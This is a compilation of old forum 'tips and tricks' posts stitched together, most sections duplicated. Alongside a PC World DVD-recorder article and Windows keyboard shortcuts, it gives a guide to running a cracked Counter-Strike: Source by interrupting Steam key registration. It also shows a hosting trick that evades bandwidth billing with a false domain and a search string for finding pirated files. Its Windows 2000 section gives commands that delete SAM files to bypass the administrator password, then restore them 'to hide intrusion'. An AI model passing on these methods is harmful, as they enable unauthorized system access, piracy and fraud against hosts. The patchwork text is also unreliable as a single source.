"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
notice that iam only changing the word after the parent directory, change it to what you want and you will get lots of goods. i got plenty of movie sites heh.
Getting Counter-strike Source To Work
Getting Counter-Strike Source to work
Step 1- Download cssource_notcracked_beta_emporio.rar, cssource_cracked_emporio.rar and cssource_updates_emporio.rar (make sure this update is V2).
Step 2- Extract cssource_notcracked_beta_emporio.rar to a folder (for this example we will use E:/CS: Source*), then extract cssource_cracked_emporio.rar to E:/CS: Source*(overwrite all files) and finally extract cssource_updates_emporio.rar(V2) to E:/CS: Source* (overwrite all files).
Step 3- Make a NEW steam account(We will use Bob1g2** for this example).
Step 4- Now here comes the tricky part. After you have made a NEW steam account, get any counter strike: condition zero key (and no i won't tell you one) off the internet. Launch steam and click on Condition Zero in the Avaible Games list. Click on Register this product and click next. Once you get to the point where it says, "Steam is processing you request" open up Task Manager (Ctrl, Alt, Delete at the same time) and click on steam.exe and once the steam window has 1 bar that is yellow, click terinate process on the task manager.
Step 5- Open up steam again and check if Condition Zero is in your My Games list. If it isn't then repeat Step 3 using a different key untill you get Condition Zero is your My Games list. Once you get it in your My Games list then, download Codename Gordon and once it has finished downloading, launch it. Once you get into the menu, then click exit.
Step 6- Go into the folder where you installed steam and copy ClientRegistry.blob into the folder where you installed CS: Source.
Step 7- Go into the folder where you installed CS: Source and open up SteamApp.cfg.
Step 8- Once you have opened up SteamApp.cfg, edit it so it only has this in it:
CODE
SteamAppId=10
#SteamAppVersionId=0
SteamInstallPath="E:/CS: Source*"
# [as is clearified later on, this should be your email address:]
#SteamAppUser=aalb002@cafe.boomtown.net
SteamAppUser=Bob1g2**
Make sure you change the Bob1g2** bit to the new steam account you created and the E:/CS: Source* to where you installed counter-strike source.
Step 9- Make a sortcut of hl2.exe with these in the sortcut(without the quotes) "-steam -game cstrike"
*Change this to where you installed CS: Source.
**Change this to your new steam account.
Downloads
cssource_notcracked_beta_emporio.rar- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/cssource_notcracked_beta_emporio.rar
cssource_cracked_emporio.rar- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/V2/cssource_cracked_emporio.rar
cssource_updates_emporio.rar(v2)- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/V2/cssource_updates_emporio.rar
Limit is 100 users max
Other things you should know
Don't download the V3 update since that doesn't work yet.
If you get a error saying that you are not subscribed, then do steps 4-6 to make it work again.
If you get unable to set mode then do this:
go to your registry -> HKEY_CURRENT_USER\Software\Valve\Source\Settings -> look up the entry "ScreenRefreshRate" -> doubleclick -> type your favourite monitor hz value into the field (i.e. 100hz, if your monitor can handle it) -> change the base setting from hexadecimal to decimal -> finished. (excerpt taken from flinkerhamster tutorial)
Some Servers
1. 66.199.235.42:27014
2. 24.141.2.86
These servers have being tested by me and are working.
Step 1- Download cssource_notcracked_beta_emporio.rar, cssource_cracked_emporio.rar and cssource_updates_emporio.rar (make sure this update is V2).
Step 2- Extract cssource_notcracked_beta_emporio.rar to a folder (for this example we will use E:/CS: Source*), then extract cssource_cracked_emporio.rar to E:/CS: Source*(overwrite all files) and finally extract cssource_updates_emporio.rar(V2) to E:/CS: Source* (overwrite all files).
Step 3- Make a NEW steam account(We will use Bob1g2** for this example).
Step 4- Now here comes the tricky part. After you have made a NEW steam account, get any counter strike: condition zero key (and no i won't tell you one) off the internet. Launch steam and click on Condition Zero in the Avaible Games list. Click on Register this product and click next. Once you get to the point where it says, "Steam is processing you request" open up Task Manager (Ctrl, Alt, Delete at the same time) and click on steam.exe and once the steam window has 1 bar that is yellow, click terinate process on the task manager.
Step 5- Open up steam again and check if Condition Zero is in your My Games list. If it isn't then repeat Step 3 using a different key untill you get Condition Zero is your My Games list. Once you get it in your My Games list then, download Codename Gordon and once it has finished downloading, launch it. Once you get into the menu, then click exit.
Step 6- Go into the folder where you installed steam and copy ClientRegistry.blob into the folder where you installed CS: Source.
Step 7- Go into the folder where you installed CS: Source and open up SteamApp.cfg.
Step 8- Once you have opened up SteamApp.cfg, edit it so it only has this in it:
CODE
SteamAppId=10
#SteamAppVersionId=0
SteamInstallPath="E:/CS: Source*"
# [as is clearified later on, this should be your email address:]
#SteamAppUser=aalb002@cafe.boomtown.net
SteamAppUser=Bob1g2**
Make sure you change the Bob1g2** bit to the new steam account you created and the E:/CS: Source* to where you installed counter-strike source.
Step 9- Make a sortcut of hl2.exe with these in the sortcut(without the quotes) "-steam -game cstrike"
*Change this to where you installed CS: Source.
**Change this to your new steam account.
Downloads
cssource_notcracked_beta_emporio.rar- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/cssource_notcracked_beta_emporio.rar
cssource_cracked_emporio.rar- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/V2/cssource_cracked_emporio.rar
cssource_updates_emporio.rar(v2)- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/V2/cssource_updates_emporio.rar
Limit is 100 users max
Other things you should know
Don't download the V3 update since that doesn't work yet.
If you get a error saying that you are not subscribed, then do steps 4-6 to make it work again.
If you get unable to set mode then do this:
go to your registry -> HKEY_CURRENT_USER\Software\Valve\Source\Settings -> look up the entry "ScreenRefreshRate" -> doubleclick -> type your favourite monitor hz value into the field (i.e. 100hz, if your monitor can handle it) -> change the base setting from hexadecimal to decimal -> finished. (excerpt taken from flinkerhamster tutorial)
Some Servers
1. 66.199.235.42:27014
2. 24.141.2.86
These servers have being tested by me and are working.
Getting A 1gb Yahoo China Account
Getting A 1gb Yahoo China Account
1. Sign for a yahoo ID... you can do this in my.yahoo.com. DO NOT check the automatically create an Email address
2. Clear ALL cookies
3. Activate mail account at cn.mail.yahoo.com
(you get 100Mb storage first *don't worry*), then sign-out
NOTE: FYI, the two boxes in the activation page is lastname and firstname
Upgrading to 1Gb Yahoo China Account
1. Sign-in to Yahoo Messenger, add a contact, sign-out
2. Go back to cn.mail.yahoo.com (all pages would be in Chinese)
3. Click the 1G orange label (graphic) *look at the lower right of the page*
4. Type-in your Yahoo ID and Password *look at the bottom of the page*
5. You'll go to two more Chinese pages (Just click the bottom centered label in the page)
6. Tadah!! Your upgraded to 1Gig and your default is English with Free POP3
There's no pesky graphic or flash ads at the moment... but your email add would be username[at]yahoo.com.cn
I think that's good enough for people without Gmail
1. Sign for a yahoo ID... you can do this in my.yahoo.com. DO NOT check the automatically create an Email address
2. Clear ALL cookies
3. Activate mail account at cn.mail.yahoo.com
(you get 100Mb storage first *don't worry*), then sign-out
NOTE: FYI, the two boxes in the activation page is lastname and firstname
Upgrading to 1Gb Yahoo China Account
1. Sign-in to Yahoo Messenger, add a contact, sign-out
2. Go back to cn.mail.yahoo.com (all pages would be in Chinese)
3. Click the 1G orange label (graphic) *look at the lower right of the page*
4. Type-in your Yahoo ID and Password *look at the bottom of the page*
5. You'll go to two more Chinese pages (Just click the bottom centered label in the page)
6. Tadah!! Your upgraded to 1Gig and your default is English with Free POP3
There's no pesky graphic or flash ads at the moment... but your email add would be username[at]yahoo.com.cn
I think that's good enough for people without Gmail
Get unlimited bandwidth from your host for free
Get unlimited bandwidth from your host for free
NOTE: This applies only to specific hosting companies, due to the
specific setup needed and does have its drawbacks.
While setting up hosting space with a specific company I often deal
with, I noticed that they used a shared IP. (IP shared by two or more
websites/domains.) Well, the rates for unlimited bandwidth were
around $50+ per month, which I found unreasonable. I didnt require
much space, and didnt want to be limited to a mere 3 gig of traffic
per month.
Back on track... When setting up the acct, the hosting company needs
to know the domain name so that they can direct it accordingly.
(example: 'http://www.123.4.567.890/~user1/ ,
'http://www.123.4.567.890/~user2/ etc)
At this point you can give a url that doesnt belong to you at all. As
long as the nameservers dont change, that should have absolutly no
negative effects on you or your site whatsoever.
How it works is this:
The host propogates you a certain amount space on its servers, and
monitors the traffic that enters their space through the domain its
registered under. Being that the domain isn't connected to the site
at all, it registers ZERO traffic.
Zero traffic registered = can't possibly go over bandwidth
restrictions
can't possibly go over bandwidth restrictions = free unlimited
bandwidth
Now the problems with this (besides the ethical ones) is that your
host may offer X amount of mail addys with the acct
(you@y...) and these will not work, as the name isnt on their
DNS. However, some domain companies allow you to set it up
regardless. Another problem seems to be strictly cosmetic, but can be
highly problematic... Once you attach the domain you want onto the
site, each page comes up/w the ip/UN the host propagated to your
acct. Its at this point where you have to have a phenominal 10-15
character alphanumerical or better (#, &, etc) pw, or your site will
be vulnerable to attack since the attacker already has your UN. This
only gives attackers a slight advantage as the amount of time it
would take to brute force a 10 character pw @ a rate of 1,000,000 per
second is 10 years. Add numbers and case sensitivity to that and it
becomes approx 26,980 years.
While I'm on it, I may as well add that if you use this method,
obviously you are going to be using the lowest cost hosting plan
available, which in turn will offer the least amount of space. Thats
why free hosts were invented.
Free hosts suck as a general rule. Who wants a site smothered in ads?
However, if you upload all your programs, graphics and other large
files (have a backup of course) to a reliable free host and target
them accordingly from your site you have just freed up a signifigant
amount of space. The only setback/w this is having to keep an index
card or file around/w your pws, as you should never use the same one
twice, and want to use complicated ones.
NOTE: This applies only to specific hosting companies, due to the
specific setup needed and does have its drawbacks.
While setting up hosting space with a specific company I often deal
with, I noticed that they used a shared IP. (IP shared by two or more
websites/domains.) Well, the rates for unlimited bandwidth were
around $50+ per month, which I found unreasonable. I didnt require
much space, and didnt want to be limited to a mere 3 gig of traffic
per month.
Back on track... When setting up the acct, the hosting company needs
to know the domain name so that they can direct it accordingly.
(example: 'http://www.123.4.567.890/~user1/ ,
'http://www.123.4.567.890/~user2/ etc)
At this point you can give a url that doesnt belong to you at all. As
long as the nameservers dont change, that should have absolutly no
negative effects on you or your site whatsoever.
How it works is this:
The host propogates you a certain amount space on its servers, and
monitors the traffic that enters their space through the domain its
registered under. Being that the domain isn't connected to the site
at all, it registers ZERO traffic.
Zero traffic registered = can't possibly go over bandwidth
restrictions
can't possibly go over bandwidth restrictions = free unlimited
bandwidth
Now the problems with this (besides the ethical ones) is that your
host may offer X amount of mail addys with the acct
(you@y...) and these will not work, as the name isnt on their
DNS. However, some domain companies allow you to set it up
regardless. Another problem seems to be strictly cosmetic, but can be
highly problematic... Once you attach the domain you want onto the
site, each page comes up/w the ip/UN the host propagated to your
acct. Its at this point where you have to have a phenominal 10-15
character alphanumerical or better (#, &, etc) pw, or your site will
be vulnerable to attack since the attacker already has your UN. This
only gives attackers a slight advantage as the amount of time it
would take to brute force a 10 character pw @ a rate of 1,000,000 per
second is 10 years. Add numbers and case sensitivity to that and it
becomes approx 26,980 years.
While I'm on it, I may as well add that if you use this method,
obviously you are going to be using the lowest cost hosting plan
available, which in turn will offer the least amount of space. Thats
why free hosts were invented.
Free hosts suck as a general rule. Who wants a site smothered in ads?
However, if you upload all your programs, graphics and other large
files (have a backup of course) to a reliable free host and target
them accordingly from your site you have just freed up a signifigant
amount of space. The only setback/w this is having to keep an index
card or file around/w your pws, as you should never use the same one
twice, and want to use complicated ones.
Get The Music You Want To Hear
Found out a really cool way to get cool music without p2p progs or HTTP/FTP sites.Best thing of all:NO QUEUES,NO PASSWORDS...
Here it is:
1.Get Yahoo Messenger [BETA] here:
CODE
http://download.yahoo.com/dl/installs/msgr6suite.exe
2.Wait for it to download,then run it and let it download another 5 MB or so.
3.Get FairStar MP3 Recorder here:
CODE
http://www.shareordie.com/forum/index.php?showtopic=9754
After testing Total Recorder and another prog,the FairStar product is the best RECORDING MP3s from a source,in our case the INTERNET RADIO.
4.Fire up LAUNCHcastRadion in Yahoo Messenger [BETA] and choose a station or a genre.
5.Start up FairStart MP3 Recorder,go to Record Options and CHECK autosetting,go to Encoder-MP3 and UN-CHECK enable VBR and choose 128 or 192 KBs.Also make sure you choose your OUTPUT folder and you're done.
6.Hit record or whatever and awaaaaaay you go.
More soon...
Here it is:
1.Get Yahoo Messenger [BETA] here:
CODE
http://download.yahoo.com/dl/installs/msgr6suite.exe
2.Wait for it to download,then run it and let it download another 5 MB or so.
3.Get FairStar MP3 Recorder here:
CODE
http://www.shareordie.com/forum/index.php?showtopic=9754
After testing Total Recorder and another prog,the FairStar product is the best RECORDING MP3s from a source,in our case the INTERNET RADIO.
4.Fire up LAUNCHcastRadion in Yahoo Messenger [BETA] and choose a station or a genre.
5.Start up FairStart MP3 Recorder,go to Record Options and CHECK autosetting,go to Encoder-MP3 and UN-CHECK enable VBR and choose 128 or 192 KBs.Also make sure you choose your OUTPUT folder and you're done.
6.Hit record or whatever and awaaaaaay you go.
More soon...
Get the Most Out of Your DVD Recorder
Get the Most Out of Your DVD Recorder
Assoc. Ed. PC World
Melissa J. Perenson
I admit it: I'm a former tape-a-holic. When I began using a VCR some 20 years ago (I ended up teaching Mom and Dad how to program the darn thing back then), I got hooked on the idea of creating my own video library, replete with everything from "Star Trek" episodes to gymnastics competitions.
Recently, however, I stopped recording video on tape and switched to DVD--and I haven't looked back. But after using several DVD recorders, I've identified some quirks and frustrations that are specific to frequent users like myself. Recording to DVD is very different from recording to tape; you encounter new types of hassles ranging from pesky so-called disc preparation times to annoying delays in ejecting discs and the challenge of creating visually appealing menus. The tips that follow are geared towards hardcore videophiles (you know who you are), but they're also applicable to the most casual user.
1. Choosing the Best Recorder for TV
If you've already bought your DVD recorder, skip to tip 2. But if you haven't, be prepared to be confused by a torrent of acronyms and options. DVD+R, DVD+RW, DVD-R, DVD-RW, DVD-RAM, EPGs ... and you thought buying an HDTV would be confusing.
When you walk into a store, chances are you won't be able to tell the differences between the slim DVD recorders gracing the shelves--at least, not at a glance. On the outside, they look virtually identical. And the only additional information you might get from the price tag or label is what format the recorder supports and whether it has a hard drive.
Don't stress so much about the formats. No single manufacturer supports all of the formats available; a couple of makers come close (Lite-On, Sony), supporting all but DVD-RAM. The - and + formats are quite similar, and either will get the recording job done.
I've personally observed that the - format discs tend to take longer to initialize and finalize. By longer, I'm talking about anywhere from 5 to 120 seconds, depending upon the unit--enough to be incredibly annoying when you're sitting in front of the TV, your finger eagerly hovering over the record button to start a recording, or the eject button so you can swap discs without missing any action.
If your goal is to record a lot of TV shows, then I can't recommend highly enough a DVD recorder with integrated TiVo service. Humax, Pioneer, and Toshiba all offer such recorders, which combine a hard drive of 80GB or greater with a DVD burner, and, of course, the TiVo service. The full-blown TiVo service costs extra ($299 for the lifetime of the unit, on top of the cost of the recorder) and adds two-week's worth of program guides, a season-pass feature that records all episodes of a show so you never miss your favorites, and artificial intelligence that finds and records programs you might enjoy. (A free limited version of TiVo's software that downloads electronic programming information for the next three days is integrated into these units at no added cost.)
I don't make this recommendation just because of TiVo's personalized recording features and friendly graphical interface. The reason I suggest going this route is that these recorders have an amazing capacity to automatically create navigational menus. All of the program data in TiVo's electronic program guide--as well as TiVo's visual menu navigation structure--conveniently transfers over to any disc you burn.
DVD recorders are typically limited in what they can do to label menus. When you record a disc, you end up with a generically labeled index, with thumbnails for each recording or "title" on the disc, and boring and uninformative labels like "Title 01" (with, perhaps, the time and date added for good measure). TiVo-enabled recorders, in contrast, provide disc menus with the series name, episode title, and even a program summary as well as the date and time of the recording. If you're recording to cheap write-once media, this feature is invaluable. If you're recording to rewritable media--which means you could conceivably edit the menu titles at some point--this capability is still a huge time-saver.
Avid videophiles who don't want to spring for TiVo should look for a DVD set-top unit with a high-capacity hard drive of 80GB or more and high-speed dubbing of at least 8X. So far, I've seen only one recorder with both high-speed dubbing capability and a high-capacity hard drive, but I imagine that more such units will be forthcoming--eventually.
Beware of units that bill themselves as having "high-speed" dubbing: In most cases, the manufacturer is using the term to denote recording speeds of 2X or 4X from the hard drive to DVD. Furthermore, some vendors are coming up with absurd-sounding dubbing speeds--for example, 32X, a number they derive based on how many hours' worth of recordings you can fit on a disc (8 hours at the lowest-quality recording mode), and the speed of the burner (4X in my example).
Where to start your search? I recommend browsing PC World's latest "Top 10 DVD Drives" chart:
http://www.pcworld.com/reviews/article/0,aid,118249,tk,box,00.asp
2. Allow Extra Time
If you're preparing to record a program, budget a few extra minutes to get the unit ready. Believe me, the seconds add up--as I learned during my recording marathon of the Athens Olympiad. You need to factor in up to 30 seconds for the recorder to boot, about 10 to 20 seconds for the disc to spin up, and at least another 30 to 45 seconds for the recorder to prepare the disc for recording (your unit might say "initialize" or "format"). That's all before you can hit Record.
And when you're through recording, expect to wait 30 to 60 seconds to regain control of the recorder after you hit Stop. With some models, the delay occurs after you hit Eject. Either way, that delay could mean you'll miss the beginning of the next gymnast's routine--and none of this takes into account disc finalization, which can take another 30 seconds to 3 minutes, depending upon the disc's format and how much of it you've used.
3. Finalize, Finalize, Finalize
Disc finalization is the process that closes the disc so it can be read in other devices, such as a DVD player, DVD recorder, or DVD-ROM drive. It's also a process that bites. There, I've said it.
Finalization is the dirty little secret of DVD recorders: It's a time-consuming extra step that users of the venerable VCR don't expect. And it requires more effort than it should, due to poor menu design on DVD recorders. I've yet to see a recorder that makes this step truly easy--all of them bury it under a setup or menu item, and all of them require far too many clicks and layers considering this is a N-E-C-E-S-S-A-R-Y step for every write-once DVD-R or DVD+R you burn.
I recommend finalizing your disc as soon you're through recording. Due to quality issues, you'll likely record only a maximum of 2 hours of television per disc, which means that no more than two weeks will pass between finalization sessions. This way, when you go back to a recorded disc, it will be ready to play in any DVD player--whether it's the $30 Costco special in your bedroom or your laptop's DVD-ROM drive.
Caution: You might think you don't need to finalize if you don't have more than one DVD player or drive, and you plan on playing your DVD on your own recorder only. But what happens when, inevitably, you upgrade your recorder to a swankier, newer model? Or, even worse, when the model you're using now isn't working five years down the line? Then what? You'll be left with a library full of unreadable discs. Although you might be able to recover the raw video data from an unfinalized disc using a program like Infinadyne's CD/DVD Diagnostic, the process is tedious and time-consuming. Also, don't count on scavenging a backup unit off EBay in a few years: As I've learned, discs may not be interchangeable, even between two recorder decks bearing the same model number from the same manufacturer.
4. Don't Abuse Your Discs
It's easy to leave discs out of their cases, lying around or stacking up as you swap 'em out for a new one. But avoid that temptation--the dust will damage your discs, and you increase the chances of accidental scratches and scuffs.
Also, avoid leaving your recorded DVDs near a sunny window. The disc's dye layer is susceptible to light and heat; if either affects the disc, its data may become unreadable.
Finally, clean your discs carefully. Use a lint-free cloth, compressed air, or a liquid cleanser intended for use with DVD media. Dust and other airborne particles can scratch your disc, which could result in data loss. When cleaning with a lint-free cloth, stroke from the inside of the hub to the outside of the disc. Never use a circular motion from the inside out; and never use a tissue, paper towel, or other random rag.
For more on how to treat your discs, read
"Ten Tips for Durable DVDs":
http://www.pcworld.com/howto/article/0,aid,113716,tk,box,00.asp
5. Choose Your Media--and Labels--Wisely
A cheap spindle of media is tempting, but then you have to buy cases separately. And what cases to buy? Small plastic jewel cases? DVD movie-size cases? The combinations can be frustrating, at best.
Spindles are indeed affordable, but don't buy them without buying cases, too--and keep both stashed near your TV and DVD recorder setup, so you can easily grab a disc from the recorder and place it into its case. Otherwise, it's way too easy for stacks of discs to pile up--a no-no, as I note in tip 4.
Also, consider buying discs that come in oversized movie-style plastic cases. You'll pay a little more, but the convenience is worth it. Plus, you'll get a cardstock insert that you can use to create handwritten labels. If you get a high-speed dubbing unit, make sure you buy media that matches the recorder's speed.
If you do buy spindle media, keep in mind that the cases you buy in bulk may not have an insert on which you can scribble. If the case lack inserts, improvise with a piece of letter-size paper, folded over or cut up to fit accordingly. Spend a little more money, and you can get cardstock inserts.
There are a host of labeling software options out there to help you craft your labels. Read the following two "Burning Questions" columns for a comprehensive review of the subject:
"The Joy of Labeling":
http://www.pcworld.com/reviews/article/0,aid,114423,tk,box,00.asp
"Is Labeling Software Worth the Hassle?":
http://www.pcworld.com/reviews/article/0,aid,114848,tk,box,00.asp
But all of these options are going to require you to move your labeling operation over to the PC--something that may not work into your recording work flow.
Other PC-based labeling options include printable media that you can use with an inkjet printer. I'd stay away from adhesive labels, though: They're difficult to apply evenly, and could cause problems if the disc is poorly manufactured.
If you're trying to keep your labeling efforts nearer to your TV, I'd suggest using water-based pens to write on the discs, and on the label inserts, too, while you're at it. Another possibility: If your handwriting is barely better than chicken scrawl, then it's worth buying a battery-operated labeler, such as those offered by Brother or Casio. Both companies offer half-inch-wide labels that fit well along the spine of a DVD movie case.
Assoc. Ed. PC World
Melissa J. Perenson
I admit it: I'm a former tape-a-holic. When I began using a VCR some 20 years ago (I ended up teaching Mom and Dad how to program the darn thing back then), I got hooked on the idea of creating my own video library, replete with everything from "Star Trek" episodes to gymnastics competitions.
Recently, however, I stopped recording video on tape and switched to DVD--and I haven't looked back. But after using several DVD recorders, I've identified some quirks and frustrations that are specific to frequent users like myself. Recording to DVD is very different from recording to tape; you encounter new types of hassles ranging from pesky so-called disc preparation times to annoying delays in ejecting discs and the challenge of creating visually appealing menus. The tips that follow are geared towards hardcore videophiles (you know who you are), but they're also applicable to the most casual user.
1. Choosing the Best Recorder for TV
If you've already bought your DVD recorder, skip to tip 2. But if you haven't, be prepared to be confused by a torrent of acronyms and options. DVD+R, DVD+RW, DVD-R, DVD-RW, DVD-RAM, EPGs ... and you thought buying an HDTV would be confusing.
When you walk into a store, chances are you won't be able to tell the differences between the slim DVD recorders gracing the shelves--at least, not at a glance. On the outside, they look virtually identical. And the only additional information you might get from the price tag or label is what format the recorder supports and whether it has a hard drive.
Don't stress so much about the formats. No single manufacturer supports all of the formats available; a couple of makers come close (Lite-On, Sony), supporting all but DVD-RAM. The - and + formats are quite similar, and either will get the recording job done.
I've personally observed that the - format discs tend to take longer to initialize and finalize. By longer, I'm talking about anywhere from 5 to 120 seconds, depending upon the unit--enough to be incredibly annoying when you're sitting in front of the TV, your finger eagerly hovering over the record button to start a recording, or the eject button so you can swap discs without missing any action.
If your goal is to record a lot of TV shows, then I can't recommend highly enough a DVD recorder with integrated TiVo service. Humax, Pioneer, and Toshiba all offer such recorders, which combine a hard drive of 80GB or greater with a DVD burner, and, of course, the TiVo service. The full-blown TiVo service costs extra ($299 for the lifetime of the unit, on top of the cost of the recorder) and adds two-week's worth of program guides, a season-pass feature that records all episodes of a show so you never miss your favorites, and artificial intelligence that finds and records programs you might enjoy. (A free limited version of TiVo's software that downloads electronic programming information for the next three days is integrated into these units at no added cost.)
I don't make this recommendation just because of TiVo's personalized recording features and friendly graphical interface. The reason I suggest going this route is that these recorders have an amazing capacity to automatically create navigational menus. All of the program data in TiVo's electronic program guide--as well as TiVo's visual menu navigation structure--conveniently transfers over to any disc you burn.
DVD recorders are typically limited in what they can do to label menus. When you record a disc, you end up with a generically labeled index, with thumbnails for each recording or "title" on the disc, and boring and uninformative labels like "Title 01" (with, perhaps, the time and date added for good measure). TiVo-enabled recorders, in contrast, provide disc menus with the series name, episode title, and even a program summary as well as the date and time of the recording. If you're recording to cheap write-once media, this feature is invaluable. If you're recording to rewritable media--which means you could conceivably edit the menu titles at some point--this capability is still a huge time-saver.
Avid videophiles who don't want to spring for TiVo should look for a DVD set-top unit with a high-capacity hard drive of 80GB or more and high-speed dubbing of at least 8X. So far, I've seen only one recorder with both high-speed dubbing capability and a high-capacity hard drive, but I imagine that more such units will be forthcoming--eventually.
Beware of units that bill themselves as having "high-speed" dubbing: In most cases, the manufacturer is using the term to denote recording speeds of 2X or 4X from the hard drive to DVD. Furthermore, some vendors are coming up with absurd-sounding dubbing speeds--for example, 32X, a number they derive based on how many hours' worth of recordings you can fit on a disc (8 hours at the lowest-quality recording mode), and the speed of the burner (4X in my example).
Where to start your search? I recommend browsing PC World's latest "Top 10 DVD Drives" chart:
http://www.pcworld.com/reviews/article/0,aid,118249,tk,box,00.asp
2. Allow Extra Time
If you're preparing to record a program, budget a few extra minutes to get the unit ready. Believe me, the seconds add up--as I learned during my recording marathon of the Athens Olympiad. You need to factor in up to 30 seconds for the recorder to boot, about 10 to 20 seconds for the disc to spin up, and at least another 30 to 45 seconds for the recorder to prepare the disc for recording (your unit might say "initialize" or "format"). That's all before you can hit Record.
And when you're through recording, expect to wait 30 to 60 seconds to regain control of the recorder after you hit Stop. With some models, the delay occurs after you hit Eject. Either way, that delay could mean you'll miss the beginning of the next gymnast's routine--and none of this takes into account disc finalization, which can take another 30 seconds to 3 minutes, depending upon the disc's format and how much of it you've used.
3. Finalize, Finalize, Finalize
Disc finalization is the process that closes the disc so it can be read in other devices, such as a DVD player, DVD recorder, or DVD-ROM drive. It's also a process that bites. There, I've said it.
Finalization is the dirty little secret of DVD recorders: It's a time-consuming extra step that users of the venerable VCR don't expect. And it requires more effort than it should, due to poor menu design on DVD recorders. I've yet to see a recorder that makes this step truly easy--all of them bury it under a setup or menu item, and all of them require far too many clicks and layers considering this is a N-E-C-E-S-S-A-R-Y step for every write-once DVD-R or DVD+R you burn.
I recommend finalizing your disc as soon you're through recording. Due to quality issues, you'll likely record only a maximum of 2 hours of television per disc, which means that no more than two weeks will pass between finalization sessions. This way, when you go back to a recorded disc, it will be ready to play in any DVD player--whether it's the $30 Costco special in your bedroom or your laptop's DVD-ROM drive.
Caution: You might think you don't need to finalize if you don't have more than one DVD player or drive, and you plan on playing your DVD on your own recorder only. But what happens when, inevitably, you upgrade your recorder to a swankier, newer model? Or, even worse, when the model you're using now isn't working five years down the line? Then what? You'll be left with a library full of unreadable discs. Although you might be able to recover the raw video data from an unfinalized disc using a program like Infinadyne's CD/DVD Diagnostic, the process is tedious and time-consuming. Also, don't count on scavenging a backup unit off EBay in a few years: As I've learned, discs may not be interchangeable, even between two recorder decks bearing the same model number from the same manufacturer.
4. Don't Abuse Your Discs
It's easy to leave discs out of their cases, lying around or stacking up as you swap 'em out for a new one. But avoid that temptation--the dust will damage your discs, and you increase the chances of accidental scratches and scuffs.
Also, avoid leaving your recorded DVDs near a sunny window. The disc's dye layer is susceptible to light and heat; if either affects the disc, its data may become unreadable.
Finally, clean your discs carefully. Use a lint-free cloth, compressed air, or a liquid cleanser intended for use with DVD media. Dust and other airborne particles can scratch your disc, which could result in data loss. When cleaning with a lint-free cloth, stroke from the inside of the hub to the outside of the disc. Never use a circular motion from the inside out; and never use a tissue, paper towel, or other random rag.
For more on how to treat your discs, read
"Ten Tips for Durable DVDs":
http://www.pcworld.com/howto/article/0,aid,113716,tk,box,00.asp
5. Choose Your Media--and Labels--Wisely
A cheap spindle of media is tempting, but then you have to buy cases separately. And what cases to buy? Small plastic jewel cases? DVD movie-size cases? The combinations can be frustrating, at best.
Spindles are indeed affordable, but don't buy them without buying cases, too--and keep both stashed near your TV and DVD recorder setup, so you can easily grab a disc from the recorder and place it into its case. Otherwise, it's way too easy for stacks of discs to pile up--a no-no, as I note in tip 4.
Also, consider buying discs that come in oversized movie-style plastic cases. You'll pay a little more, but the convenience is worth it. Plus, you'll get a cardstock insert that you can use to create handwritten labels. If you get a high-speed dubbing unit, make sure you buy media that matches the recorder's speed.
If you do buy spindle media, keep in mind that the cases you buy in bulk may not have an insert on which you can scribble. If the case lack inserts, improvise with a piece of letter-size paper, folded over or cut up to fit accordingly. Spend a little more money, and you can get cardstock inserts.
There are a host of labeling software options out there to help you craft your labels. Read the following two "Burning Questions" columns for a comprehensive review of the subject:
"The Joy of Labeling":
http://www.pcworld.com/reviews/article/0,aid,114423,tk,box,00.asp
"Is Labeling Software Worth the Hassle?":
http://www.pcworld.com/reviews/article/0,aid,114848,tk,box,00.asp
But all of these options are going to require you to move your labeling operation over to the PC--something that may not work into your recording work flow.
Other PC-based labeling options include printable media that you can use with an inkjet printer. I'd stay away from adhesive labels, though: They're difficult to apply evenly, and could cause problems if the disc is poorly manufactured.
If you're trying to keep your labeling efforts nearer to your TV, I'd suggest using water-based pens to write on the discs, and on the label inserts, too, while you're at it. Another possibility: If your handwriting is barely better than chicken scrawl, then it's worth buying a battery-operated labeler, such as those offered by Brother or Casio. Both companies offer half-inch-wide labels that fit well along the spine of a DVD movie case.
Get In Windows 2000 As Administrator
Get in windows 2000 as Administrator.
>
> NOTE: Requires a boot disk.
>
> Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
> attrib -a -r -h
> copy sam.* a:\
> del Sam.*
>
> reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.
>
> NOTE: Requires a boot disk.
>
> Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
> attrib -a -r -h
> copy sam.* a:\
> del Sam.*
>
> reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.
General Keyboard Shortcuts, General Keyboard Shortcuts
General Keyboard Shortcuts, General Keyboard Shortcuts
General Keyboard Shortcuts
CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
